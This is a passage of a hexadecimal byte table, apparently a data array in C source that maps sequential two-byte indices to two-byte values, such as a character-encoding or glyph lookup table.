0x10,\r\n0x00, 0x13, 0x21, 0xc9, 0x01,\r\n0x00, 0x13, 0x22, 0xa5, 0x10,\r\n0x00, 0x13, 0x23, 0xa6, 0x10,\r\n0x00, 0x13, 0x24, 0x4d, 0x00,\r\n0x00, 0x13, 0x25, 0xa7, 0x10,\r\n0x00, 0x13, 0x26, 0xa8, 0x10,\r\n0x00, 0x13, 0x27, 0xa9, 0x10,\r\n0x00, 0x13, 0x28, 0xaa, 0x10,\r\n0x00, 0x13, 0x29, 0xab, 0x10,\r\n0x00, 0x13, 0x2A, 0xac, 0x10,\r\n0x00, 0x13, 0x2B, 0xad, 0x10,\r\n0x00, 0x13, 0x2C, 0xae, 0x10,\r\n0x00, 0x13, 0x2D, 0xaf, 0x10,\r\n0x00, 0x13, 0x2E, 0xb0, 0x10,\r\n0x00, 0x13, 0x2F, 0x40, 0x06,\r\n0x00, 0x13, 0x30, 0xb1, 0x10,\r\n0x00, 0x13, 0x31, 0xb2, 0x10,\r\n0x00, 0x13, 0x32, 0xb3, 0x10,\r\n0x00, 0x13, 0x33, 0xb4, 0x10,\r\n0x00, 0x13, 0x34, 0xb5, 0x10,\r\n0x00, 0x13, 0x35, 0xb6, 0x10,\r\n0x00, 0x13, 0x36, 0xb7, 0x10,\r\n0x00, 0x13, 0x37, 0xb8, 0x10,\r\n0x00, 0x13, 0x38, 0xb9, 0x10,\r\n0x00, 0x13, 0x39, 0xba, 0x10,\r\n0x00, 0x13, 0x3A, 0xbb, 0x10,\r\n0x00, 0x13, 0x3B, 0xbc, 0x10,\r\n0x00, 0x13, 0x3C, 0xbd, 0x10,\r\n0x00, 0x13, 0x3D, 0xbe, 0x10,\r\n0x00, 0x13, 0x3E, 0xbf, 0x10,\r\n0x00, 0x13, 0x3F, 0xc0, 0x10,\r\n0x00, 0x13, 0x40, 0xc1, 0x10,\r\n0x00, 0x13, 0x41, 0xc2, 0x10,\r\n0x00, 0x13, 0x42, 0xc3, 0x10,\r\n0x00, 0x13, 0x43, 0xdd, 0x00,\r\n0x00, 0x13, 0x44, 0xc4, 0x10,\r\n0x00, 0x13, 0x45, 0x6c, 0x0b,\r\n0x00, 0x13, 0x46, 0xe8, 0x04,\r\n0x00, 0x13, 0x47, 0x61, 0x05,\r\n0x00, 0x13, 0x48, 0xc5, 0x10,\r\n0x00, 0x13, 0x49, 0xc6, 0x10,\r\n0x00, 0x13, 0x4A, 0xc7, 0x10,\r\n0x00, 0x13, 0x4B, 0xc8, 0x10,\r\n0x00, 0x13, 0x4C, 0xc9, 0x10,\r\n0x00, 0x13, 0x4D, 0xca, 0x10,\r\n0x00, 0x13, 0x4E, 0xcb, 0x10,\r\n0x00, 0x13, 0x4F, 0xcc, 0x10,\r\n0x00, 0x13, 0x50, 0xcd, 0x10,\r\n0x00, 0x13, 0x51, 0xce, 0x10,\r\n0x00, 0x13, 0x52, 0xcf, 0x10,\r\n0x00, 0x13, 0x53, 0xd0, 0x10,\r\n0x00, 0x13, 0x54, 0xd1, 0x10,\r\n0x00, 0x13, 0x55, 0xd2, 0x10,\r\n0x00, 0x13, 0x56, 0xd3, 0x10,\r\n0x00, 0x13, 0x57, 0xd4, 0x10,\r\n0x00, 0x13, 0x58, 0xd5, 0x10,\r\n0x00, 0x13, 0x59, 0xd6, 0x10,\r\n0x00, 0x13, 0x5A, 0xd7, 0x10,\r\n0x00, 0x13, 0x5B, 0xd8, 0x10,\r\n0x00, 0x13, 0x5C, 0xd9, 0x10,\r\n0x00, 0x13, 0x5D, 0xda, 0x10,\r\n0x00, 0x13, 0x5E, 0xdb, 0x10,\r\n0x00, 0x13, 0x5F, 0x05, 0x00,\r\n0x00, 0x13, 0x60, 0x05, 0x00,\r\n0x00, 0x13, 0x61, 0xdc, 0x10,\r\n0x00, 0x13, 0x62, 0xdd, 0x10,\r\n0x00, 0x13, 0x63, 0xde, 0x10,\r\n0x00, 0x13, 0x64, 0xdf, 0x10,\r\n0x00, 0x13, 0x65, 0x69, 0x01,\r\n0x00, 0x13, 0x66, 0xe0, 0x10,\r\n0x00, 0x13, 0x67, 0xe1, 0x10,\r\n0x00, 0x13, 0x68, 0xe2, 0x10,\r\n0x00, 0x13, 0x69, 0xe3, 0x10,\r\n0x00, 0x13, 0x6A, 0xe4, 0x10,\r\n0x00, 0x13, 0x6B, 0xe5, 0x10,\r\n0x00, 0x13, 0x6C, 0xe6, 0x10,\r\n0x00, 0x13, 0x6D, 0xe7, 0x10,\r\n0x00, 0x13, 0x6E, 0xe8, 0x10,\r\n0x00, 0x13, 0x6F, 0xe9, 0x10,\r\n0x00, 0x13, 0x70, 0xb9, 0x02,\r\n0x00, 0x13, 0x71, 0xb9, 0x00,\r\n0x00, 0x13, 0x72, 0xd1, 0x05,\r\n0x00, 0x13, 0x73, 0xea, 0x10,\r\n0x00, 0x13, 0x74, 0x3f, 0x03,\r\n0x00, 0x13, 0x75, 0x36, 0x06,\r\n0x00, 0x13, 0x76, 0xeb, 0x10,\r\n0x00, 0x13, 0x77, 0x4f, 0x02,\r\n0x00, 0x13, 0x78, 0xec, 0x10,\r\n0x00, 0x13, 0x79, 0xed, 0x10,\r\n0x00, 0x13, 0x7A, 0xee, 0x10,\r\n0x00, 0x13, 0x7B, 0xef, 0x10,\r\n0x00, 0x13, 0x7C, 0xf0, 0x10,\r\n0x00, 0x13, 0x7D, 0xf1, 0x10,\r\n0x00, 0x13, 0x7E, 0xf2, 0x10,\r\n0x00, 0x13, 0x7F, 0x05, 0x00,\r\n0x00, 0x13, 0x80, 0x05, 0x00,\r\n0x00, 0x13, 0x81, 0xf3, 0x10,\r\n0x00, 0x13, 0x82, 0xf4, 0x10,\r\n0x00, 0x13, 0x83, 0xf5, 0x10,\r\n0x00, 0x13, 0x84, 0xf7, 0x01,\r\n0x00, 0x13, 0x85, 0xf6, 0x10,\r\n0x00, 0x13, 0x86, 0xf7, 0x10,\r\n0x00, 0x13, 0x87, 0xf8, 0x10,\r\n0x00, 0x13, 0x88, 0xf9, 0x10,\r\n0x00, 0x13, 0x89, 0xfa, 0x10,\r\n0x00, 0x13, 0x8A, 0xfb, 0x10,\r\n0x00, 0x13, 0x8B, 0xfc, 0x10,\r\n0x00, 0x13, 0x8C, 0xfd, 0x10,\r\n0x00, 0x13, 0x8D, 0xfe, 0x10,\r\n0x00, 0x13, 0x8E, 0xff, 0x10,\r\n0x00, 0x13, 0x8F, 0x3e, 0x0a,\r\n0x00, 0x13, 0x90, 0x00, 0x11,\r\n0x00, 0x13, 0x91, 0x01, 0x11,\r\n0x00, 0x13, 0x92, 0x02, 0x11,\r\n0x00, 0x13, 0x93, 0x03, 0x11,\r\n0x00, 0x13, 0x94, 0x04, 0x11,\r\n0x00, 0x13, 0x95, 0x05, 0x11,\r\n0x00, 0x13, 0x96, 0x06, 0x11,\r\n0x00, 0x13, 0x97, 0x10, 0x00,\r\n0x00, 0x13, 0x98, 0x07, 0x11,\r\n0x00, 0x13, 0x99, 0x08, 0x11,\r\n0x00, 0x13, 0x9A, 0x09, 0x11,\r\n0x00, 0x13, 0x9B, 0x0a, 0x11,\r\n0x00, 0x13, 0x9C, 0x0b, 0x11,\r\n0x00, 0x13, 0x9D, 0x0c, 0x11,\r\n0x00, 0x13, 0x9E, 0x0d, 0x11,\r\n0x00, 0x13, 0x9F, 0x38, 0x05,\r\n0x00, 0x13, 0xA0, 0x0e, 0x11,\r\n0x00, 0x13, 0xA1, 0x0f, 0x11,\r\n0x00, 0x13, 0xA2, 0x10, 0x11,\r\n0x00, 0x13, 0xA3, 0x11, 0x11,\r\n0x00, 0x13, 0xA4, 0x12, 0x11,\r\n0x00, 0x13, 0xA5, 0x13, 0x11,\r\n0x00, 0x13, 0xA6, 0x14, 0x11,\r\n0x00, 0x13, 0xA7, 0x15, 0x11,\r\n0x00, 0x13, 0xA8, 0x16, 0x11,\r\n0x00, 0x13, 0xA9, 0x34, 0x01,\r\n0x00, 0x13, 0xAA, 0x17, 0x11,\r\n0x00, 0x13, 0xAB, 0x18, 0x11,\r\n0x00, 0x13, 0xAC, 0x19, 0x11,\r\n0x00, 0x13, 0xAD, 0x1a, 0x11,\r\n0x00, 0x13, 0xAE, 0x1b, 0x11,\r\n0x00, 0x13, 0xAF, 0x1c, 0x11,\r\n0x00, 0x13, 0xB0, 0x1d, 0x11,\r\n0x00, 0x13, 0xB1, 0xe9, 0x03,\r\n0x00, 0x13, 0xB2, 0x1e, 0x11,\r\n0x00, 0x13, 0xB3, 0x1f, 0x11,\r\n0x00, 0x13, 0xB4, 0x20, 0x11,\r\n0x00, 0x13, 0xB5, 0x21, 0x11,\r\n0x00, 0x13, 0xB6, 0x22, 0x11,\r\n0x00, 0x13, 0xB7, 0x23, 0x11,\r\n0x00, 0x13, 0xB8, 0x24, 0x11,\r\n0x00, 0x13, 0xB9, 0x25, 0x11,\r\n0x00, 0x13, 0xBA, 0x26, 0x11,\r\n0x00, 0x13, 0xBB, 0x27, 0x11,\r\n0x00, 0x13, 0xBC, 0x28, 0x11,\r\n0x00, 0x13, 0xBD, 0x29, 0x11,\r\n0x00, 0x13, 0xBE, 0x2a, 0x11,\r\n0x00, 0x13, 0xBF, 0x2b, 0x11,\r\n0x00, 0x13, 0xC0, 0x2c, 0x11,\r\n0x00, 0x13, 0xC1, 0x2d, 0x11,\r\n0x00, 0x13, 0xC2, 0x2e, 0x11,\r\n0x00, 0x13, 0xC3, 0x05, 0x00,\r\n0x00, 0x13, 0xC4, 0x05, 0x00,\r\n0x00, 0x13, 0xC5, 0x2f, 0x11,\r\n0x00, 0x13, 0xC6, 0x30, 0x11,\r\n0x00, 0x13, 0xC7, 0x31, 0x11,\r\n0x00, 0x13, 0xC8, 0x71, 0x07,\r\n0x00, 0x13, 0xC9, 0x32, 0x11,\r\n0x00, 0x13, 0xCA, 0x33, 0x11,\r\n0x00, 0x13, 0xCB, 0x34, 0x11,\r\n0x00, 0x13, 0xCC, 0x35, 0x11,\r\n0x00, 0x13, 0xCD, 0x36, 0x11,\r\n0x00, 0x13, 0xCE, 0x80, 0x10,\r\n0x00, 0x13, 0xCF, 0x37, 0x11,\r\n0x00, 0x13, 0xD0, 0x38, 0x11,\r\n0x00, 0x13, 0xD1, 0x39, 0x11,\r\n0x00, 0x13, 0xD2, 0x3a, 0x11,\r\n0x00, 0x13, 0xD3, 0x28, 0x0b,\r\n0x00, 0x13, 0xD4, 0x20, 0x0b,\r\n0x00, 0x13, 0xD5, 0xc1, 0x09,\r\n0x00, 0x13, 0xD6, 0x3b, 0x11,\r\n0x00, 0x13, 0xD7, 0x3c, 0x11,\r\n0x00, 0x13, 0xD8, 0x29, 0x05,\r\n0x00, 0x13, 0xD9, 0x3d, 0x11,\r\n0x00, 0x13, 0xDA, 0x3e, 0x11,\r\n0x00, 0x13, 0xDB, 0x3f, 0x11,\r\n0x00, 0x13, 0xDC, 0x40, 0x11,\r\n0x00, 0x13, 0xDD, 0x41, 0x11,\r\n0x00, 0x13, 0xDE, 0x42, 0x11,\r\n0x00, 0x13, 0xDF, 0x43, 0x11,\r\n0x00, 0x13, 0xE0, 0xd4, 0x0c,\r\n0x00, 0x13, 0xE1, 0x44, 0x11,\r\n0x00, 0x13, 0xE2, 0x45, 0x11,\r\n0x00, 0x13, 0xE3, 0x46, 0x11,\r\n0x00, 0x13, 0xE4, 0x47, 0x11,\r\n0x00, 0x13, 0xE5, 0x48, 0x11,\r\n0x00, 0x13, 0xE6, 0x49, 0x11,\r\n0x00, 0x13, 0xE7, 0x4a, 0x11,\r\n0x00, 0x13, 0xE8, 0x80, 0x10,\r\n0x00, 0x13, 0xE9, 0x4b, 0x11,\r\n0x00, 0x13, 0xEA, 0x4c, 0x11,\r\n0x00, 0x13, 0xEB, 0x4d, 0x11,\r\n0x00, 0x13, 0xEC, 0x4e, 0x11,\r\n0x00, 0x13, 0xED, 0x4f, 0x11,\r\n0x00, 0x13, 0xEE, 0x50, 0x11,\r\n0x00, 0x13, 0xEF, 0x51, 0x11,\r\n0x00, 0x13, 0xF0, 0x52, 0x11,\r\n0x00, 0x13, 0xF1, 0x53, 0x11,\r\n0x00, 0x13, 0xF2, 0x54, 0x11,\r\n0x00, 0x13, 0xF3, 0xf4, 0x0b,\r\n0x00, 0x13, 0xF4, 0x55, 0x11,\r\n0x00, 0x13, 0xF5, 0x56, 0x11,\r\n0x00, 0x13, 0xF6, 0x57, 0x11,\r\n0x00, 0x13, 0xF7, 0x80, 0x04,\r\n0x00, 0x13, 0xF8, 0x58, 0x11,\r\n0x00, 0x13, 0xF9, 0x59, 0x11,\r\n0x00, 0x13, 0xFA, 0x5a, 0x11,\r\n0x00, 0x13, 0xFB, 0x5b, 0x11,\r\n0x00, 0x13, 0xFC, 0x5c, 0x11,\r\n0x00, 0x13, 0xFD, 0xb9, 0x02,\r\n0x00, 0x13, 0xFE, 0x5d, 0x11,\r\n0x00, 0x13, 0xFF, 0x5e, 0x11,\r\n0x00, 0x14, 0x00, 0x5f, 0x11,\r\n0x00, 0x14, 0x01, 0x60, 0x11,\r\n0x00, 0x14, 0x02, 0x61, 0x11,\r\n0x00, 0x14, 0x03, 0x62, 0x11,\r\n0x00, 0x14, 0x04, 0xb9, 0x00,\r\n0x00, 0x14, 0x05, 0x63, 0x11,\r\n0x00, 0x14, 0x06, 0x64, 0x11,\r\n0x00, 0x14, 0x07, 0x65, 0x11,\r\n0x00, 0x14, 0x08, 0x66, 0x11,\r\n0x00, 0x14, 0x09, 0x67, 0x11,\r\n0x00, 0x14, 0x0A, 0x68, 0x11,\r\n0x00, 0x14, 0x0B, 0x3b, 0x10,\r\n0x00, 0x14, 0x0C, 0x69, 0x11,\r\n0x00, 0x14, 0x0D, 0x69, 0x01,\r\n0x00, 0x14, 0x0E, 0x69, 0x01,\r\n0x00, 0x14, 0x0F, 0x6a, 0x11,\r\n0x00, 0x14, 0x10, 0x6b, 0x11,\r\n0x00, 0x14, 0x11, 0x6c, 0x11,\r\n0x00, 0x14, 0x12, 0x6d, 0x11,\r\n0x00, 0x14, 0x13, 0x6e, 0x11,\r\n0x00, 0x14, 0x14, 0x6f, 0x11,\r\n0x00, 0x14, 0x15, 0x70, 0x11,\r\n0x00, 0x14, 0x16, 0x71, 0x11,\r\n0x00, 0x14, 0x17, 0x72, 0x11,\r\n0x00, 0x14, 0x18, 0x73, 0x11,\r\n0x00, 0x14, 0x19, 0x74, 0x11,\r\n0x00, 0x14, 0x1A, 0x75, 0x11,\r\n0x00, 0x14, 0x1B, 0x05, 0x00,\r\n0x00, 0x14, 0x1C, 0x05, 0x00,\r\n0x00, 0x14, 0x1D, 0x76, 0x11,\r\n0x00, 0x14, 0x1E, 0x77, 0x11,\r\n0x00, 0x14, 0x1F, 0x78, 0x11,\r\n0x00, 0x14, 0x20, 0x79, 0x11,\r\n0x00, 0x14, 0x21, 0x7a, 0x11,\r\n0x00, 0x14, 0x22, 0xd1, 0x05,\r\n0x00, 0x14, 0x23, 0x7b, 0x11,\r\n0x00, 0x14, 0x24, 0x7c, 0x11,\r\n0x00, 0x14, 0x25, 0x7d, 0x11,\r\n0x00, 0x14, 0x26, 0x7e, 0x11,\r\n0x00, 0x14, 0x27, 0x7f, 0x11,\r\n0x00, 0x14, 0x28, 0x80, 0x11,\r\n0x00, 0x14, 0x29, 0x81, 0x11,\r\n0x00, 0x14, 0x2A, 0xee, 0x06,\r\n0x00, 0x14, 0x2B, 0x82, 0x11,\r\n0x00, 0x14, 0x2C, 0x83, 0x11,\r\n0x00, 0x14, 0x2D, 0x84, 0x11,\r\n0x00, 0x14, 0x2E, 0x85, 0x11,\r\n0x00, 0x14, 0x2F, 0x86, 0x11,\r\n0x00, 0x14, 0x30, 0x87, 0x11,\r\n0x00, 0x14, 0x31, 0x88, 0x11,\r\n0x00, 0x14, 0x32, 0x89, 0x11,\r\n0x00, 0x14, 0x33, 0x8a, 0x11,\r\n0x00, 0x14, 0x34, 0x8b, 0x11,\r\n0x00, 0x14, 0x35, 0x8c, 0x11,\r\n0x00, 0x14, 0x36, 0x8d, 0x11,\r\n0x00, 0x14, 0x37, 0x8e, 0x11,\r\n0x00, 0x14, 0x38, 0xc9, 0x01,\r\n0x00, 0x14, 0x39, 0x8f, 0x11,\r\n0x00, 0x14, 0x3A, 0x90, 0x11,\r\n0x00, 0x14, 0x3B, 0x91, 0x11,\r\n0x00, 0x14, 0x3C, 0x92, 0x11,\r\n0x00, 0x14, 0x3D, 0x93, 0x11,\r\n0x00, 0x14, 0x3E, 0x94, 0x11,\r\n0x00, 0x14, 0x3F, 0x95, 0x11,\r\n0x00, 0x14, 0x40, 0x96, 0x11,\r\n0x00, 0x14, 0x41, 0xd3, 0x01,\r\n0x00, 0x14, 0x42, 0x97, 0x11,\r\n0x00, 0x14, 0x43, 0x98, 0x11,\r\n0x00, 0x14, 0x44, 0x99, 0x11,\r\n0x00, 0x14, 0x45, 0x9a, 0x11,\r\n0x00, 0x14, 0x46, 0x9b, 0x11,\r\n0x00, 0x14, 0x47, 0x9c, 0x11,\r\n0x00, 0x14, 0x48, 0x49, 0x08,\r\n0x00, 0x14, 0x49, 0x9d, 0x11,\r\n0x00, 0x14, 0x4A, 0x9e, 0x11,\r\n0x00, 0x14, 0x4B, 0x9f, 0x11,\r\n0x00, 0x14, 0x4C, 0xa0, 0x11,\r\n0x00, 0x14, 0x4D, 0xe9, 0x03,\r\n0x00, 0x14, 0x4E, 0xa1, 0x11,\r\n0x00, 0x14, 0x4F, 0x10, 0x00,\r\n0x00, 0x14, 0x50, 0xa2, 0x11,\r\n0x00, 0x14, 0x51, 0x51, 0x03,\r\n0x00, 0x14, 0x52, 0xa3, 0x11,\r\n0x00, 0x14, 0x53, 0x78, 0x0a,\r\n0x00, 0x14, 0x54, 0xa4, 0x11,\r\n0x00, 0x14, 0x55, 0xa5, 0x11,\r\n0x00, 0x14, 0x56, 0xa6, 0x11,\r\n0x00, 0x14, 0x57, 0xa7, 0x11,\r\n0x00, 0x14, 0x58, 0xa8, 0x11,\r\n0x00, 0x14, 0x59, 0xa9, 0x11,\r\n0x00, 0x14, 0x5A, 0xaa, 0x11,\r\n0x00, 0x14, 0x5B, 0xab, 0x11,\r\n0x00, 0x14, 0x5C, 0x48, 0x09,\r\n0x00, 0x14, 0x5D, 0xac, 0x11,\r\n0x00, 0x14, 0x5E, 0x2f, 0x02,\r\n0x00, 0x14, 0x5F, 0xad, 0x11,\r\n0x00, 0x14, 0x60, 0xae, 0x11,\r\n0x00, 0x14, 0x61, 0xaf, 0x11,\r\n0x00, 0x14, 0x62, 0xb0, 0x11,\r\n0x00, 0x14, 0x63, 0xb1, 0x11,\r\n0x00, 0x14, 0x64, 0xb2, 0x11,\r\n0x00, 0x14, 0x65, 0xb3, 0x11,\r\n0x00, 0x14, 0x66, 0xb4, 0x11,\r\n0x00, 0x14, 0x67, 0xb5, 0x11,\r\n0x00, 0x14, 0x68, 0xb6, 0x11,\r\n0x00, 0x14, 0x69, 0x05, 0x00,\r\n0x00, 0x14, 0x6A, 0x05, 0x00,\r\n0x00, 0x14, 0x6B, 0xb7, 0x11,\r\n0x00, 0x14, 0x6C, 0x68, 0x08,\r\n0x00, 0x14, 0x6D, 0xb8, 0x11,\r\n0x00, 0x14, 0x6E, 0xb9, 0x11,\r\n0x00, 0x14, 0x6F, 0xba, 0x11,\r\n0x00, 0x14, 0x70, 0xbb, 0x11,\r\n0x00, 0x14, 0x71, 0xbc, 0x11,\r\n0x00, 0x14, 0x72, 0xbd, 0x11,\r\n0x00, 0x14, 0x73, 0xbe, 0x11,\r\n0x00, 0x14, 0x74, 0xbf, 0x11,\r\n0x00, 0x14, 0x75, 0xc0, 0x11,\r\n0x00, 0x14, 0x76, 0xc1, 0x11,\r\n0x00, 0x14, 0x77, 0xc0, 0x09,\r\n0x00, 0x14, 0x78, 0xcf, 0x09,\r\n0x00, 0x14, 0x79, 0xc2, 0x11,\r\n0x00, 0x14, 0x7A, 0xc3, 0x11,\r\n0x00, 0x14, 0x7B, 0xc4, 0x11,\r\n0x00, 0x14, 0x7C, 0xf2, 0x00,\r\n0x00, 0x14, 0x7D, 0xc5, 0x11,\r\n0x00, 0x14, 0x7E, 0xc6, 0x11,\r\n0x00, 0x14, 0x7F, 0xbc, 0x0c,\r\n0x00, 0x14, 0x80, 0xc7, 0x11,\r\n0x00, 0x14, 0x81, 0xc8, 0x11,\r\n0x00, 0x14, 0x82, 0xf4, 0x06,\r\n0x00, 0x14, 0x83, 0xc9, 0x11,\r\n0x00, 0x14, 0x84, 0xca, 0x11,\r\n0x00, 0x14, 0x85, 0xf4, 0x0b,\r\n0x00, 0x14, 0x86, 0xcb, 0x11,\r\n0x00, 0x14, 0x87, 0x36, 0x06,\r\n0x00, 0x14, 0x88, 0xcc, 0x11,\r\n0x00, 0x14, 0x89, 0xcd, 0x11,\r\n0x00, 0x14, 0x8A, 0xce, 0x11,\r\n0x00, 0x14, 0x8B, 0xcf, 0x11,\r\n0x00, 0x14, 0x8C, 0xd2, 0x0f,\r\n0x00, 0x14, 0x8D, 0xf6, 0x0c,\r\n0x00, 0x14, 0x8E, 0xd0, 0x11,\r\n0x00, 0x14, 0x8F, 0xd1, 0x11,\r\n0x00, 0x14, 0x90, 0xd2, 0x11,\r\n0x00, 0x14, 0x91, 0xd3, 0x11,\r\n0x00, 0x14, 0x92, 0xd4, 0x11,\r\n0x00, 0x14, 0x93, 0xd5, 0x11,\r\n0x00, 0x14, 0x94, 0xd6, 0x11,\r\n0x00, 0x14, 0x95, 0x02, 0x0c,\r\n0x00, 0x14, 0x96, 0xd7, 0x11,\r\n0x00, 0x14, 0x97, 0xd8, 0x11,\r\n0x00, 0x14, 0x98, 0xd9, 0x11,\r\n0x00, 0x14, 0x99, 0xda, 0x11,\r\n0x00, 0x14, 0x9A, 0xb9, 0x00,\r\n0x00, 0x14, 0x9B, 0xdb, 0x11,\r\n0x00, 0x14, 0x9C, 0xdc, 0x11,\r\n0x00, 0x14, 0x9D, 0xdd, 0x11,\r\n0x00, 0x14, 0x9E, 0xde, 0x11,\r\n0x00, 0x14, 0x9F, 0xdf, 0x11,\r\n0x00, 0x14, 0xA0, 0xe0, 0x11,\r\n0x00, 0x14, 0xA1, 0xe4, 0x04,\r\n0x00, 0x14, 0xA2, 0xe1, 0x11,\r\n0x00, 0x14, 0xA3, 0xe2, 0x11,\r\n0x00, 0x14, 0xA4, 0xe3, 0x11,\r\n0x00, 0x14, 0xA5, 0xe4, 0x08,\r\n0x00, 0x14, 0xA6, 0xe4, 0x11,\r\n0x00, 0x14, 0xA7, 0xb9, 0x02,\r\n0x00, 0x14, 0xA8, 0x05, 0x00,\r\n0x00, 0x14, 0xA9, 0x05, 0x00,\r\n0x00, 0x14, 0xAA, 0xe5, 0x11,\r\n0x00, 0x14, 0xAB, 0xe6, 0x11,\r\n0x00, 0x14, 0xAC, 0xe7, 0x11,\r\n0x00, 0x14, 0xAD, 0xe8, 0x11,\r\n0x00, 0x14, 0xAE, 0xe9, 0x11,\r\n0x00, 0x14, 0xAF, 0xea, 0x11,\r\n0x00, 0x14, 0xB0, 0xeb, 0x11,\r\n0x00, 0x14, 0xB1, 0xec, 0x11,\r\n0x00, 0x14, 0xB2, 0xed, 0x11,\r\n0x00, 0x14, 0xB3, 0xee, 0x11,\r\n0x00, 0x14, 0xB4, 0xd2, 0x0f,\r\n0x00, 0x14, 0xB5, 0xef, 0x11,\r\n0x00, 0x14, 0xB6, 0xf0, 0x11,\r\n0x00, 0x14, 0xB7, 0xf1, 0x11,\r\n0x00, 0x14, 0xB8, 0xf2, 0x11,\r\n0x00, 0x14, 0xB9, 0xf3, 0x11,\r\n0x00, 0x14, 0xBA, 0xf4, 0x11,\r\n0x00, 0x14, 0xBB, 0x81, 0x0f,\r\n0x00, 0x14, 0xBC, 0x1b, 0x07,\r\n0x00, 0x14, 0xBD, 0xf5, 0x11,\r\n0x00, 0x14, 0xBE, 0xf6, 0x11,\r\n0x00, 0x14, 0xBF, 0xf9, 0x0a,\r\n0x00, 0x14, 0xC0, 0xf7, 0x11,\r\n0x00, 0x14, 0xC1, 0xf8, 0x11,\r\n0x00, 0x14, 0xC2, 0xc9, 0x01,\r\n0x00, 0x14, 0xC3, 0x70, 0x04,\r\n0x00, 0x14, 0xC4, 0xf9, 0x11,\r\n0x00, 0x14, 0xC5, 0xfa, 0x11,\r\n0x00, 0x14, 0xC6, 0xfb, 0x11,\r\n0x00, 0x14, 0xC7, 0x69, 0x01,\r\n0x00, 0x14, 0xC8, 0xfc, 0x11,\r\n0x00, 0x14, 0xC9, 0x80, 0x00,\r\n0x00, 0x14, 0xCA, 0xfd, 0x11,\r\n0x00, 0x14, 0xCB, 0xfe, 0x11,\r\n0x00, 0x14, 0xCC, 0xff, 0x11,\r\n0x00, 0x14, 0xCD, 0x00, 0x12,\r\n0x00, 0x14, 0xCE, 0x01, 0x12,\r\n0x00, 0x14, 0xCF, 0x02, 0x12,\r\n0x00, 0x14, 0xD0, 0x03, 0x12,\r\n0x00, 0x14, 0xD1, 0x04, 0x12,\r\n0x00, 0x14, 0xD2, 0x05, 0x12,\r\n0x00, 0x14, 0xD3, 0x06, 0x12,\r\n0x00, 0x14, 0xD4, 0x07, 0x12,\r\n0x00, 0x14, 0xD5, 0x08, 0x12,\r\n0x00, 0x14, 0xD6, 0x09, 0x12,\r\n0x00, 0x14, 0xD7, 0x0a, 0x12,\r\n0x00, 0x14, 0xD8, 0x0b, 0x12,\r\n0x00, 0x14, 0xD9, 0x0c, 0x12,\r\n0x00, 0x14, 0xDA, 0x0d, 0x12,\r\n0x00, 0x14, 0xDB, 0x0e, 0x12,\r\n0x00, 0x14, 0xDC, 0x5a, 0x08,\r\n0x00, 0x14, 0xDD, 0x0f, 0x12,\r\n0x00, 0x14, 0xDE, 0x10, 0x12,\r\n0x00, 0x14, 0xDF, 0x11, 0x12,\r\n0x00, 0x14, 0xE0, 0x12, 0x12,\r\n0x00, 0x14, 0xE1, 0x13, 0x12,\r\n0x00, 0x14, 0xE2, 0x14, 0x12,\r\n0x00, 0x14, 0xE3, 0x15, 0x12,\r\n0x00, 0x14, 0xE4, 0x16, 0x12,\r\n0x00, 0x14, 0xE5, 0x17, 0x12,\r\n0x00, 0x14, 0xE6, 0x18, 0x12,\r\n0x00, 0x14, 0xE7, 0x19, 0x12,\r\n0x00, 0x14, 0xE8, 0xb9, 0x00,\r\n0x00, 0x14, 0xE9, 0x1a, 0x12,\r\n0x00, 0x14, 0xEA, 0x1b, 0x12,\r\n0x00, 0x14, 0xEB, 0x1c, 0x12,\r\n0x00, 0x14, 0xEC, 0x1d, 0x12,\r\n0x00, 0x14, 0xED, 0x1e, 0x12,\r\n0x00, 0x14, 0xEE, 0xb5, 0x00,\r\n0x00, 0x14, 0xEF, 0x1f, 0x12,\r\n0x00, 0x14, 0xF0, 0x20, 0x12,\r\n0x00, 0x14, 0xF1, 0x05, 0x00,\r\n0x00, 0x14, 0xF2, 0x05, 0x00,\r\n0x00, 0x14, 0xF3, 0x21, 0x12,\r\n0x00, 0x14, 0xF4, 0x22, 0x12,\r\n0x00, 0x14, 0xF5, 0x23, 0x12,\r\n0x00, 0x14, 0xF6, 0x08, 0x05,\r\n0x00, 0x14, 0xF7, 0x24, 0x12,\r\n0x00, 0x14, 0xF8, 0x8c, 0x01,\r\n0x00, 0x14, 0xF9, 0x25, 0x12,\r\n0x00, 0x14, 0xFA, 0x26, 0x12,\r\n0x00, 0x14, 0xFB, 0x35, 0x06,\r\n0x00, 0x14, 0xFC, 0x27, 0x12,\r\n0x00, 0x14, 0xFD, 0x28, 0x12,\r\n0x00, 0x14, 0xFE, 0x29, 0x12,\r\n0x00, 0x14, 0xFF, 0x2a, 0x12,\r\n0x00, 0x15, 0x00, 0x80, 0x10,\r\n0x00, 0x15, 0x01, 0x2b, 0x12,\r\n0x00, 0x15, 0x02, 0x2c, 0x12,\r\n0x00, 0x15, 0x03, 0x2d, 0x12,\r\n0x00, 0x15, 0x04, 0x2e, 0x12,\r\n0x00, 0x15, 0x05, 0xe7, 0x0d,\r\n0x00, 0x15, 0x06, 0x2f, 0x12,\r\n0x00, 0x15, 0x07, 0x30, 0x12,\r\n0x00, 0x15, 0x08, 0x31, 0x12,\r\n0x00, 0x15, 0x09, 0x32, 0x12,\r\n0x00, 0x15, 0x0A, 0x33, 0x12,\r\n0x00, 0x15, 0x0B, 0x34, 0x12,\r\n0x00, 0x15, 0x0C, 0xc3, 0x03,\r\n0x00, 0x15, 0x0D, 0x35, 0x12,\r\n0x00, 0x15, 0x0E, 0x36, 0x12,\r\n0x00, 0x15, 0x0F, 0x37, 0x12,\r\n0x00, 0x15, 0x10, 0x38, 0x12,\r\n0x00, 0x15, 0x11, 0x39, 0x12,\r\n0x00, 0x15, 0x12, 0x3a, 0x12,\r\n0x00, 0x15, 0x13, 0x3b, 0x12,\r\n0x00, 0x15, 0x14, 0x3c, 0x12,\r\n0x00, 0x15, 0x15, 0x3d, 0x12,\r\n0x00, 0x15, 0x16, 0x3e, 0x12,\r\n0x00, 0x15, 0x17, 0x80, 0x10,\r\n0x00, 0x15, 0x18, 0xe9, 0x01,\r\n0x00, 0x15, 0x19, 0x3f, 0x12,\r\n0x00, 0x15, 0x1A, 0x40, 0x12,\r\n0x00, 0x15, 0x1B, 0x41, 0x12,\r\n0x00, 0x15, 0x1C, 0x42, 0x12,\r\n0x00, 0x15, 0x1D, 0x43, 0x12,\r\n0x00, 0x15, 0x1E, 0x0b, 0x0f,\r\n0x00, 0x15, 0x1F, 0x44, 0x12,\r\n0x00, 0x15, 0x20, 0x45, 0x12,\r\n0x00, 0x15, 0x21, 0x46, 0x12,\r\n0x00, 0x15, 